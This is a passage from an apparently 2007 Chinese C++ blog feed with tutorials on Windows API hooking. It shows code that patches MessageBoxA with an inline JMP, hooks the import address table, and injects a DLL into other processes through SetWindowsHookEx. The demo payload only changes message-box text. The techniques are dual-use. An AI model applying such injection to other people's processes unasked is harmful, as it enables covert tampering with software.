GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28936.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28936.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28936.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28936.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28936.html</trackback:ping><description><![CDATA[#include "stdafx.h"<br><br>HHOOK g_hHook;<br>HINSTANCE g_hinstDll;<br>FARPROC pfMessageBoxA;<br>int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);<br>BYTE OldMessageBoxACode[5],NewMessageBoxACode[5];<br>HMODULE hModule;<br>DWORD dwIdOld,dwIdNew;<br>BOOL bHook=false;<br>void HookOn();<br>void HookOff();<br>BOOL init();<br>LRESULT WINAPI MousHook(int nCode,WPARAM wParam,LPARAM lParam);<br>extern "C" __declspec(dllexport) BOOL UninstallHook();<br><br>BOOL APIENTRY DllMain( HANDLE hModule, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD&nbsp; ul_reason_for_call, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPVOID lpReserved<br>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; )<br>{<br>&nbsp;switch (ul_reason_for_call)<br>&nbsp;{<br>&nbsp;case DLL_PROCESS_ATTACH:<br>&nbsp;if(!init())<br>&nbsp;{<br>&nbsp;MessageBoxA(NULL,"Init","ERROR",MB_OK);<br>&nbsp;return(false);<br>&nbsp;}<br>&nbsp;case DLL_THREAD_ATTACH:<br>&nbsp;case DLL_THREAD_DETACH:<br>&nbsp;case DLL_PROCESS_DETACH:<br>&nbsp;if(bHook)UninstallHook();<br>&nbsp;break;<br>&nbsp;}<br>&nbsp;return TRUE;<br>}<br>LRESULT WINAPI Hook(int nCode,WPARAM wParam,LPARAM lParam)//空的钩子函数<br>{<br>&nbsp;return(CallNextHookEx(g_hHook,nCode,wParam,lParam));<br>}<br>extern "C" __declspec(dllexport) BOOL InstallHook()//输出安装空的钩子函数<br>{<br>&nbsp;g_hinstDll=LoadLibrary("HookApi2.dll");<br>&nbsp;g_hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,g_hinstDll,0);<br>&nbsp;if (!g_hHook)<br>&nbsp;{<br>&nbsp;MessageBoxA(NULL,"SET ERROR","ERROR",MB_OK);<br>&nbsp;return(false);<br>&nbsp;}<br>&nbsp;return(true);<br>}<br><br>extern "C" __declspec(dllexport) BOOL UninstallHook()//输出御在钩子函数<br>{<br>&nbsp;return(UnhookWindowsHookEx(g_hHook));<br>}<br><br><br><br>BOOL init()//初始化得到MessageBoxA的地址，并生成Jmp XXX(MyMessageBoxA)的跳转指令<br>{<br>&nbsp;hModule=LoadLibrary("user32.dll");<br>&nbsp;pfMessageBoxA=GetProcAddress(hModule,"MessageBoxA");<br>&nbsp;if(pfMessageBoxA==NULL)<br>&nbsp;return false;<br>&nbsp;_asm<br>&nbsp;{<br>&nbsp;lea edi,OldMessageBoxACode<br>&nbsp;mov esi,pfMessageBoxA<br>&nbsp;cld<br>&nbsp;movsd<br>&nbsp;movsb<br>&nbsp;}<br>&nbsp;NewMessageBoxACode[0]=0xe9;//jmp MyMessageBoxA的相对地址的指令<br>&nbsp;_asm<br>&nbsp;{<br>&nbsp;lea eax,MyMessageBoxA<br>&nbsp;mov ebx,pfMessageBoxA<br>&nbsp;sub eax,ebx<br>&nbsp;sub eax,5<br>&nbsp;mov dword ptr [NewMessageBoxACode+1],eax<br>&nbsp;}<br>&nbsp;dwIdNew=GetCurrentProcessId(); //得到所属进程的ID<br>&nbsp;dwIdOld=dwIdNew;<br>&nbsp;HookOn();//开始拦截<br>&nbsp;return(true);<br>}<br><br>int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption, UINT uType )//首先关闭拦截，然后才能调用被拦截的Api 函数<br>{<br>&nbsp;int nReturn=0;<br>&nbsp;HookOff();<br>&nbsp;nReturn=MessageBoxA(hWnd,"Hook",lpCaption,uType);<br>&nbsp;HookOn();<br>&nbsp;return(nReturn);<br>}<br>void HookOn()<br>{<br>&nbsp;HANDLE hProc;<br>&nbsp;dwIdOld=dwIdNew;<br>&nbsp;hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);//得到所属进程的句柄<br>&nbsp;VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&amp;dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为可写<br>&nbsp;WriteProcessMemory(hProc,pfMessageBoxA,NewMessageBoxACode,5,0);//将所属进程中MessageBoxA的前5个字节改为JMP 到MyMessageBoxA<br>&nbsp;VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&amp;dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为原来的属性<br>&nbsp;bHook=true;<br>}<br>void HookOff()//将所属进程中JMP MyMessageBoxA的代码改为Jmp MessageBoxA<br>{<br>&nbsp;HANDLE hProc;<br>&nbsp;dwIdOld=dwIdNew;<br>&nbsp;hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);<br>&nbsp;VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&amp;dwIdOld);<br>&nbsp;WriteProcessMemory(hProc,pfMessageBoxA,OldMessageBoxACode,5,0);<br>&nbsp;VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&amp;dwIdOld);<br>&nbsp;bHook=false;<br>}<br><br>
<br><br><br><br><br>//<br><br>#include "stdafx.h"<br>#include &lt;windows.h&gt;<br><br>extern "C" __declspec(dllimport) BOOL InstallHook();<br>extern "C" __declspec(dllimport) BOOL UninstallHook();<br><br>int main(int argc, char* argv[])<br>{<br>if(!InstallHook())<br>{<br>MessageBoxA(NULL,"Hook Error!","Hook",MB_OK);<br>return 1;<br>}<br>MessageBoxA(NULL,"TEST","TEST",MB_OK);//可以看见Test变成了Hook,也可以在其他进程中看见<br>if(!UninstallHook())<br>{<br>MessageBoxA(NULL,"Uninstall Error!","Hook",MB_OK);<br>return 1;<br>}<br>return 0;<br>}<br><br>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28936.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 13:02 <a href="http://www.cppblog.com/mydriverc/articles/28936.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>  Win2K下的Api函数的拦截</title><link>http://www.cppblog.com/mydriverc/articles/28926.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 03:26:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28926.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28926.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28926.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28926.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28926.html</trackback:ping><description><![CDATA[<div align="left">Api拦截并不是一
个新的技术，很多商业软件都采用这种技术。对windows的Api函数的拦截，不外乎两种方法，第一种是Mr. Jeffrey Richter
的修改exe文件的模块输入节，种方法，很安全，但很复杂，而且有些exe文件，没有Dll的输入符号的列表，有可能出现拦截不到的情况。第二种方法就是
常用的JMP XXX的方法，虽然很古老，却很简单实用。<br>　　本文一介绍第二种方法在Win2k下的使用。第二种方法，Win98/me 下因为进入Ring0级的方法很多，有LDT,IDT,Vxd等方法，很容易在内存中动态修改代码，但在Win2k下，这些方法都不能用，写WDM太过复杂，表面上看来很难实现，<br>其实不然。Win2k为我们提供了一个强大的内存Api操作函数---VirtualProtectEx，WriteProcessMemeory,ReadProcessMemeory，有了它们我们就能在内存中动态修改代码了，其原型为：<br>　　　　 BOOL VirtualProtectEx(<br>　　　　　　　　　　　　　　　 HANDLE hProcess,　　 // 要修改内存的进程句柄<br>　　　　　　　　　　　　　　　 LPVOID lpAddress,　　// 要修改内存的起始地址<br>　　　　　　　　　　　　　　　 DWORD dwSize,　　　　// 修改内存的字节<br>　　　　　　　　　　　　　　　 DWORD flNewProtect,　// 修改后的内存属性<br>　　　　　　　　　　　　　　　 PDWORD lpflOldProtect　// 修改前的内存属性的地址<br>　　　　　　　　　　　　　　　　);<br>　　　　BOOL WriteProcessMemory(<br>　　　　　　　　　　　　　　　 HANDLE hProcess,　// 要写进程的句柄<br>　　　　　　　　　　　　　　　 LPVOID lpBaseAddress,　// 写内存的起始地址<br>　　　　　　　　　　　　　　　 LPVOID lpBuffer,　// 写入数据的地址<br>　　　　　　　　　　　　　　　 DWORD nSize,　　　// 要写的字节数<br>　　　　　　　　　　　　　　　 LPDWORD lpNumberOfBytesWritten　// 实际写入的子节数<br>　　　　　　　　　　　　　　　 );<br>　　　 BOOL ReadProcessMemory(<br>　　　　　　　　　　　　　　　 HANDLE hProcess,　// 要读进程的句柄<br>　　　　　　　　　　　　　　　 LPCVOID lpBaseAddress,　 // 读内存的起始地址<br>　　　　　　　　　　　　　　　 LPVOID lpBuffer,　// 读入数据的地址<br>　　　　　　　　　　　　　　　 DWORD nSize,　　　// 要读入的字节数<br>　　　　　　　　　　　　　　　 LPDWORD lpNumberOfBytesRead　　// 实际读入的子节数<br>　　　　　　　　　　　　　　　　);<br>具体的参数请参看MSDN帮助。在Win2k下因为Dll和所属进程在同一地址空间，这点又和Win9x/me存在所有进程存在共享的地址空间不同，<br>因此，必须通过钩子函数和远程注入进程的方法，现以一个简单采用钩子函数对MessageBoxA进行拦截例子来说明：<br>其中Dll文件为：<br>　　　　　HHOOK g_hHook;<br>　　　　　HINSTANCE g_hinstDll;<br>　　　　　FARPROC pfMessageBoxA;<br>　　　　　int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);<br>　　　　　BYTE OldMessageBoxACode[5],NewMessageBoxACode[5];<br>　　　　　HMODULE hModule ;<br>　　　　　DWORD dwIdOld,dwIdNew;<br>　　　　　BOOL bHook=false;<br>　　　　　void HookOn();<br>　　　　　void HookOff();<br>　　　　　BOOL init();<br>LRESULT WINAPI MousHook(int nCode,WPARAM wParam,LPARAM lParam);<br>BOOL APIENTRY DllMain( HANDLE hModule, <br>　　　　　　　　　　　 DWORD　ul_reason_for_call, <br>　　　　　　　　　　　 LPVOID lpReserved<br>　　　　　　　　　　 )<br>{<br>　　switch (ul_reason_for_call)<br>　　{<br>　　　　case DLL_PROCESS_ATTACH:<br>　　　　　　if(!init())<br>　　　　　　{<br>　　　　　　　　　　　　　MessageBoxA(NULL,"Init","ERROR",MB_OK);<br>　　　　　　　　　　　　　return(false);<br>　　　　　　}<br>　　　　case DLL_THREAD_ATTACH:<br>　　　　case DLL_THREAD_DETACH:<br>　　　　case DLL_PROCESS_DETACH:<br>　　　　　　　　　　　if(bHook) UnintallHook();　<br>　　　　　　　　　　break;<br>　　}<br>　　return TRUE;<br>}<br>LRESULT WINAPI Hook(int nCode,WPARAM wParam,LPARAM lParam)//空的钩子函数<br>{<br>　　<br>　　return(CallNextHookEx(g_hHook,nCode,wParam,lParam));<br>}<br>HOOKAPI2_API BOOL InstallHook()//输出安装空的钩子函数<br>{　<br>　 g_hinstDll=LoadLibrary("HookApi2.dll");<br>　 g_hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,g_hinstDll,0);<br>　if (!g_hHook)<br>　{<br>　　　　MessageBoxA(NULL,"SET ERROR","ERROR",MB_OK);<br>　　　　return(false);<br>　 }<br>　<br>　　　　　<br>　 return(true);<br>}<br>HOOKAPI2_API BOOL UninstallHook()//输出御在钩子函数<br>{<br>　<br>　　return(UnhookWindowsHookEx(g_hHook));<br>}
<p>BOOL init()//初始化得到MessageBoxA的地址，并生成Jmp XXX(MyMessageBoxA)的跳转指令<br>{<br>　　hModule=LoadLibrary("user32.dll");<br>　　pfMessageBoxA=GetProcAddress(hModule,"MessageBoxA");<br>　　if(pfMessageBoxA==NULL)<br>　　　return false;<br>　　_asm<br>　　{<br>　　　　lea edi,OldMessageBoxACode<br>　　　　mov esi,pfMessageBoxA<br>　　　　cld<br>　　　　movsd<br>　　　　movsb<br>　　}<br>　　NewMessageBoxACode[0]=0xe9;//jmp MyMessageBoxA的相对地址的指令<br>　　_asm<br>　　{<br>　　　　lea eax,MyMessageBoxA<br>　　　　mov ebx,pfMessageBoxA<br>　　　　sub eax,ebx<br>　　　　sub eax,5<br>　　　　mov dword ptr [NewMessageBoxACode+1],eax<br>　　}<br>　　dwIdNew=GetCurrentProcessId(); //得到所属进程的ID<br>　　dwIdOld=dwIdNew;<br>　　HookOn();//开始拦截<br>　　return(true);<br>}</p>
<p>int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption, UINT uType )//首先关闭拦截，然后才能调用被拦截的Api 函数<br>{　 <br>　　int nReturn=0;<br>　　HookOff();<br>　　nReturn=MessageBoxA(hWnd,"Hook",lpCaption,uType);<br>　　HookOn();<br>　　return(nReturn);<br>}<br>void HookOn()<br>{<br>　　HANDLE hProc;<br>　　dwIdOld=dwIdNew;<br>　　hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);//得到所属进程的句柄<br>　　VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&amp;dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为可写<br>　　WriteProcessMemory(hProc,pfMessageBoxA,NewMessageBoxACode,5,0);//将所属进程中MessageBoxA的前5个字节改为JMP 到MyMessageBoxA<br>　　VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&amp;dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为原来的属性<br>　　bHook=true;<br>}<br>void HookOff()//将所属进程中JMP MyMessageBoxA的代码改为Jmp MessageBoxA<br>{<br>　　HANDLE hProc;<br>　　dwIdOld=dwIdNew;<br>　　hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);<br>　　VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&amp;dwIdOld);<br>　　WriteProcessMemory(hProc,pfMessageBoxA,OldMessageBoxACode,5,0);<br>　　VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&amp;dwIdOld);<br>　　bHook=false;<br>}<br>//测试文件：<br>int APIENTRY WinMain(HINSTANCE hInstance,<br>　　　　　　　　　　 HINSTANCE hPrevInstance,<br>　　　　　　　　　　 LPSTR　　 lpCmdLine,<br>　　　　　　　　　　 int　　　 nCmdShow)<br>{<br>　　<br>　　if(!InstallHook()) <br>　　{<br>　　　　MessageBoxA(NULL,"Hook Error!","Hook",MB_OK);<br>　　　　return 1;<br>　　}<br>　　 MessageBoxA(NULL,"TEST","TEST",MB_OK);//可以看见Test变成了Hook,也可以在其他进程中看见<br>　　if(!UninstallHook()) <br>　　{<br>　　　　MessageBoxA(NULL,"Uninstall Error!","Hook",MB_OK);<br>　　　　return 1;<br>　　}<br>　　return 0;<br>} </p>
</div>
<br>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28926.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 11:26 <a href="http://www.cppblog.com/mydriverc/articles/28926.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>跨进程API Hook（初稿）</title><link>http://www.cppblog.com/mydriverc/articles/28923.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 03:08:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28923.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28923.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28923.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28923.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28923.html</trackback:ping><description><![CDATA[<br>
<a href="http://220.181.38.82/m?ct=134217728&amp;tn=baidusg,%E6%9D%A5%E7%94%9F%E7%BC%98%20%20&amp;word=rm,http://pa2.astrodown.net/wt2007/040211/YWVlNA$$.rm,,%5B%CD%B4%CA%A7%D7%D4%BC%BA%5D&amp;si=%C0%B4%C9%FA%D4%B5;;%C1%F5%B5%C2%BB%AA;;15472;;15472&amp;lm=16777216" target="_blank" title="请点击左键！来源网址：  http://pa2.astrodown.net   请参照百度权利声明使用" onclick="return ow(this)">跨进程API&nbsp;Hook（初稿）<br><br>什么是&#8220;跨进程&nbsp;API&nbsp;Hook&#8221;？<br>众所周知Windows应用程序的各种系统功能是通过调用API函数来实现。API&nbsp;Hook就是给系统的API附加上一段小程序，它能监视甚至控制应用程序对API函数的调用。所谓跨进程也就是让自己的程序来控制别人程序的API调用了。<br><br>API&nbsp;Hook&nbsp;理论<br>通
过对Win32&nbsp;PE文件的分析(如果你还不熟悉PE文件格式，可以看看Iczelion的PE教程或者LUEVELSMEYER的&lt;&gt;)。
我们知道在PE文件中的IMPORT&nbsp;TABLE内存储着API函数的很多信息。其中包括API的函数名，调用地址等等。而操作系统在执行PE文件时会先
将其映射到内存中。在映射的同时还会把当前版本操作系统中API函数的入口地址写入IMPORT&nbsp;TABLE中一组与API调用相关的结构体内，用于该应
用程序的API调用。&nbsp;当应用程序调用API时，他会在自己内存映像里寻找API的入口地址，然后执行CALL指令。如此一来，我们通过修改应用程序内存
映像的IMPORT&nbsp;TABLE中API函数的入口地址，就可以达到重定向API的目的。将API地址改为我们自己函数的地址，这样我们的函数就可以完成
对API的监视和控制了。<br><br>API&nbsp;Hook&nbsp;的实现<br>/*&nbsp;1&nbsp;*/HANDLE&nbsp;hCurrent&nbsp;=&nbsp;GetModuleHandle(NULL);<br>/*&nbsp;2&nbsp;*/IMAGE_DOS_HEADER&nbsp;*pidh;<br>/*&nbsp;3&nbsp;*/IMAGE_NT_HEADERS&nbsp;*pinh;<br>/*&nbsp;4&nbsp;*/IMAGE_DATA_DIRECTORY&nbsp;*pSymbolTable;<br>/*&nbsp;5&nbsp;*/IMAGE_IMPORT_DESCRIPTOR&nbsp;*piid;<br>&nbsp;<br>/*&nbsp;6&nbsp;*/pidh&nbsp;=&nbsp;(IMAGE_DOS_HEADER&nbsp;*)hCurrent;&nbsp;<br>/*&nbsp;7&nbsp;*/pinh&nbsp;=&nbsp;(IMAGE_NT_HEADERS&nbsp;*)((DWORD)hCurrent&nbsp;+&nbsp;pidh-&gt;e_lfanew);<br>/*&nbsp;8&nbsp;*/pSymbolTable&nbsp;=&nbsp;&amp;pinh-&gt;OptionalHeader.DataDirectory[1];<br>/*&nbsp;9&nbsp;*/piid&nbsp;=(IMAGE_IMPORT_DESCRIPTOR&nbsp;*)((DWORD)hCurrent&nbsp;+&nbsp;&nbsp;pSymbolTable-&gt;VirtualAddress);<br>/*10&nbsp;*/do&nbsp;{<br>/*11&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_THUNK_DATA&nbsp;*pitd,*pitd2;<br>/*12&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;pitd&nbsp;=&nbsp;(IMAGE_THUNK_DATA&nbsp;*)((DWORD)hCurrent&nbsp;+&nbsp;piid-&gt;OriginalFirstThunk);<br>/*13&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;pitd2&nbsp;=&nbsp;(IMAGE_THUNK_DATA&nbsp;*)((DWORD)hCurrent&nbsp;+&nbsp;piid-&gt;FirstThunk);<br>/*14&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;do&nbsp;{<br>/*15&nbsp;*/&nbsp;IMAGE_IMPORT_BY_NAME&nbsp;*piibn;<br>/*16&nbsp;*/&nbsp;piibn&nbsp;=&nbsp;(IMAGE_IMPORT_BY_NAME&nbsp;*)((DWORD)hCurrent&nbsp;+&nbsp;&nbsp;*((DWORD&nbsp;*)pitd));<br>/*17&nbsp;*/&nbsp;PROC&nbsp;*ppfn&nbsp;=&nbsp;(PROC&nbsp;*)(pitd2-&gt;u1.Function);<br>/*18&nbsp;*/&nbsp;if&nbsp;(!strcmp("MessageBoxW",(char&nbsp;*)piibn-&gt;Name))&nbsp;{<br>/*19&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oldMsg&nbsp;=&nbsp;(MsgBoxType)(ppfn);<br>/*20&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;addr&nbsp;=&nbsp;(DWORD)MyMessage;<br>/*21&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;written&nbsp;=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;改变内存读写状态&nbsp;*/<br>/*22&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;oldAccess;<br>/*23&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VirtualProtect(&amp;pitd2-&gt;u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&amp;oldAccess);<br>/*24&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;APIAddress&nbsp;=&nbsp;(DWORD)&amp;pitd2-&gt;u1.Function;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;向内存映像写入数据&nbsp;*/<br>/*25&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteProcessMemory(GetCurrentProcess(),&amp;pitd2-&gt;u1.Function,&nbsp;&amp;addr,sizeof(DWORD),&nbsp;&amp;written);<br>/*26&nbsp;*/&nbsp;}<br>/*27&nbsp;*/&nbsp;pitd++;pitd2++;<br>/*28&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;while&nbsp;(pitd-&gt;u1.Function);<br>&nbsp;<br>/*29&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;piid++;<br>/*30&nbsp;*/}&nbsp;while&nbsp;(piid-&gt;FirstThunk&nbsp;+&nbsp;piid-&gt;Characteristics&nbsp;<br>&nbsp;&nbsp;+&nbsp;piid-&gt;ForwarderChain&nbsp;+&nbsp;piid-&gt;Name&nbsp;+&nbsp;piid-&gt;TimeDateStamp);<br>分析:<br>寻觅IMPORT&nbsp;TALBE<br>在/*1*/
中我们使用GetModuleHandle(NULL)来返回当前进程在内存中映像的基地址。但这个值在文档中仅仅被描述为
"a&nbsp;module&nbsp;handle&nbsp;for&nbsp;the&nbsp;specified&nbsp;module"，虽然他确实是进程内存映像的基地址。如果你不太放心的话也可以
使用，GetModuleInformation函数来获得基地址，只不过你要额外包含psapi.h和psapi.lib了(这个库在VC6里没有，所
以我就没有用这个函数了)。在/*&nbsp;6&nbsp;*/里我们先找到IMAGE_DOS_HEADER结构，他的起始地址就是映像的基地址。/*7*/通过
IMAGE_DOS_HEADER给出的PE文件头的偏移量，找到IMAGE_NT_HEADERS结构。顺藤摸瓜，IMAGE_NT_HEADERS里
的OptionalHeader中的DataDirectory数组里的第二个元素正是指向我们想要的IMPORT&nbsp;TABLE的地址。在/*9*/中我们将其转化为一个IMAGE_IMPORT_DESCRIPTOR的结构指针存入piid中。<br><br>替换的API函数入口地址<br>在/*12*/
和/*13*/中我们分别取得OriginalFirstThunk和FirstThunk结构，用于以后得到API函数的名称和入口地址。/*10*/
的do循环让我们遍历每一个IMAGE_IMPORT_DESCRIPTOR结构也就是应用程序引用的每个DLL。在/*14*/的循环中我们遍历DLL
中的IMAGE_THUNK_DATA结构来一一查询API的信息。/*16*/中我们将OriginalFirstThunk转换为
IMAGE_IMPORT_BY_NAME结构用于获得API函数的名称进行比对。在/*18*/我们找到MessageBoxW函数之后，在
/*19*/保存其原始入口地址便于以后恢复时使用。在/*23*/我们需要用VirtualProtect改变一下内存区域的读写性，因为一般应用程序
的映像都是只读的，直接写入会造成一个非法访问的异常出现。在/*25*/我们写入自己函数的地址。<br><br>这样就基本完成一个API函数的重定向。<br><br>其他<br>恢复函数的API入口地址相对比较简单。只要把保存的值再写回去就可以了。上面的程序中/*24*/我用APIAddress保存了存有MessageBoxW入口地址的地方的地址，便于以后调用WriteProcessMemory恢复时使用。<br><br>跨进程理论<br>我
们要用自己的函数来替代别人程序里的API函数，但我们的函数与别人的程序处于不同的进程空间内啊。不同的进程空间是不能相互调用函数的。因此我们要想办
法把自己的函数放入别人的进程空间去。这时我们就需要使用DLL&nbsp;injection技术了。如果你对她还不是十分熟悉的话，建议看看
Jeffrey&nbsp;Richter大师的&lt;
<programming&nbsp;applications&nbsp;for&nbsp;microsoft&nbsp;windows>&gt;，也可以参考陈宽达先生的&lt;<c++&nbsp;builder深度历险>&gt;。<br><br>简
而言之，DLL&nbsp;injection就是想办法让对方的进程加载我们的一个DLL程序，把需要替换的函数放在我们这个DLL里。如此一来，我们的函数就进
入了别人的进程空间了。DLL&nbsp;injection方法很多，Richter大师在书中对各方法利弊有详细解释，陈宽大先生的书中也有深入的分析。我在这
里使用SetWindowsHookEx函数来达到目的。主要有这几个原因:&nbsp;1,&nbsp;不用重新启动系统，调试方便。2,&nbsp;可以利用消息循环机制进行两个进
程之间的通信，可以较好的掌握Hook的状态。便于安装与卸载。<br><br>SetWindowsHookEx之所以能完成
DLL&nbsp;injection是因为它要给一个应用程序某个环节加上一个Hook,而Hook就要有Hook&nbsp;Procedure也就是Hook函数。如果
这个Hook函数在一个DLL中，那么系统就会把这个DLL加载到SetWindowsHookEx的目标进程上。从而也就达到了我们
DLL&nbsp;injection的目的了。当然这里我们会用WH_GETMESSAGE的Hook进行injection,因为这个Hook可以用来监视目标
进程的消息循环方便我们的进程与目标进程通信。&nbsp;<br><br>跨进程的实现和几点注意<br>/*&nbsp;DllPart.Dll&nbsp;*/<br>#include&nbsp;<windows.h><br>#include&nbsp;<stdio.h><br>#include&nbsp;<stdlib.h><br>#include&nbsp;<string.h><br>typedef&nbsp;(WINAPI&nbsp;*MsgBoxType)(HWND,LPCWSTR,LPCWSTR,UINT);&nbsp;<br>MsgBoxType&nbsp;oldMsg;&nbsp;&nbsp;/*API原入口地址*/<br>DWORD&nbsp;APIAddress;&nbsp;/*存储API入口地址的地方的地址*/<br>int&nbsp;WINAPI&nbsp;&nbsp;MyMessage(HWND&nbsp;hWnd&nbsp;,LPCWSTR&nbsp;M1,LPCWSTR&nbsp;M2,&nbsp;UINT&nbsp;M3)&nbsp;{<br>&nbsp;/*&nbsp;这是用来替换的函数&nbsp;*/<br>&nbsp;return&nbsp;oldMsg(hWnd,buf,M2,MB_OK);<br>}<br>const&nbsp;char&nbsp;szApp[]&nbsp;=&nbsp;"DllPart.dll";<br>HHOOK&nbsp;hHook;&nbsp;/*Hook的句柄*/<br>HMODULE&nbsp;hInst;&nbsp;/*DLL&nbsp;模块句柄，用于SetWindowsHookEx函数*/<br>HWND&nbsp;hTarget;&nbsp;/*目标窗口句柄*/<br>/*DLL&nbsp;入口*/<br>BOOL&nbsp;WINAPI&nbsp;DllMain(HINSTANCE&nbsp;inst,&nbsp;DWORD&nbsp;reason,&nbsp;LPVOID&nbsp;lpvReserved)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;hInst&nbsp;=&nbsp;inst;<br>&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(reason)&nbsp;{<br>&nbsp;case&nbsp;DLL_PROCESS_ATTACH:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*调试信息，表示DLL已经加载*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,"DLL_PROCESS_ATTACH",szApp,MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;case&nbsp;DLL_PROCESS_DETACH:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*调试信息，表示DLL已经卸载*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,"DLL_PROCESS_DETACH",szApp,MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;<br>}<br>/*显示GetLastError的信息*/<br>void&nbsp;showerr(const&nbsp;char&nbsp;*m)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;message[255];<br>&nbsp;&nbsp;&nbsp;&nbsp;FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError()<br>&nbsp;,MAKELANGID(LANG_NEUTRAL,&nbsp;SUBLANG_DEFAULT),message,255,&nbsp;0);<br>&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,message,m,MB_OK);<br>}<br>//-----------------------<br>void&nbsp;UnHookApi()&nbsp;{<br>&nbsp;/*卸载API&nbsp;Hook用*